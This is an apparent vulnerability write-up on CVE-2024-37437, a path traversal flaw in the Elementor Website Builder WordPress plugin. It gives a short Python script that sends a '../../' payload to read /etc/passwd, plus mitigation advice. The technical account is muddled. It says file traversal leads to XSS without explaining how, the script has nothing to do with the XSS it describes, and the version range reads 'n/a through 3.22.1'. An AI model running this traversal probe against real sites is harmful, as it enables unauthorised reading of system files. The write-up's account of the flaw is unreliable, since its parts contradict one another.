CVE-2024-37437 - Path Traversal Vulnerability in Elementor Website Builder Allowing XSS Exploitation

A new vulnerability has been discovered and assigned the identifier CVE-2024-37437. This security flaw, classified as an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability, affects the popular Elementor Website Builder. The outcome of exploiting this vulnerability is the potential to conduct Cross-Site Scripting (XSS) and Stored XSS attacks, which pose significant risks to website integrity, data protection, and user privacy.

Affected Versions

Elementor Website Builder versions from n/a through 3.22.1

Exploit Details

The CVE-2024-37437 vulnerability results from improper limitation of a pathname to a restricted directory in the Elementor Website Builder plugin. The vulnerability allows a potential attacker to compromise the hosting environment and retrieve sensitive data, such as login credentials, through a crafted request. By doing so, the attacker can conduct XSS and Stored XSS attacks on the administrator and site users.

Here's a code snippet demonstrating a potential exploit

import requests

url = "http://target_site.com/elementor_website_builder/";
payload = "../../../../../../../../../../etc/passwd"
exploit_url = url + payload

response = requests.get(exploit_url)

if response.status_code == 200:
    print("Vulnerable to Path Traversal (CVE-2024-37437):")
    print(response.text)
else:
    print("Not Vulnerable")

Reference

To read more about CWE-22 / Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), please refer to the following link: CWE-22

To better understand the risks associated with Cross-Site Scripting (XSS), please visit the following link: CWE-79 / Cross-Site Scripting

Mitigation

To protect against the CVE-2024-37437 vulnerability and prevent potential XSS attacks, users are advised to update their Elementor Website Builder to the latest version. In addition, regular website security audits and adherence to security best practices can help identify and tackle vulnerabilities effectively.

Conclusion

The CVE-2024-37437 vulnerability in Elementor Website Builder poses a serious risk to website security, data protection, and user privacy. By exploiting this Path Traversal vulnerability, an attacker can gain access to sensitive data and potentially execute XSS attacks. Ensure your Elementor Website Builder is up to date and always follow security best practices to minimize exposure to potential attacks.

Timeline

Published on: 07/09/2024 11:15:14 UTC
Last modified on: 08/29/2024 18:51:10 UTC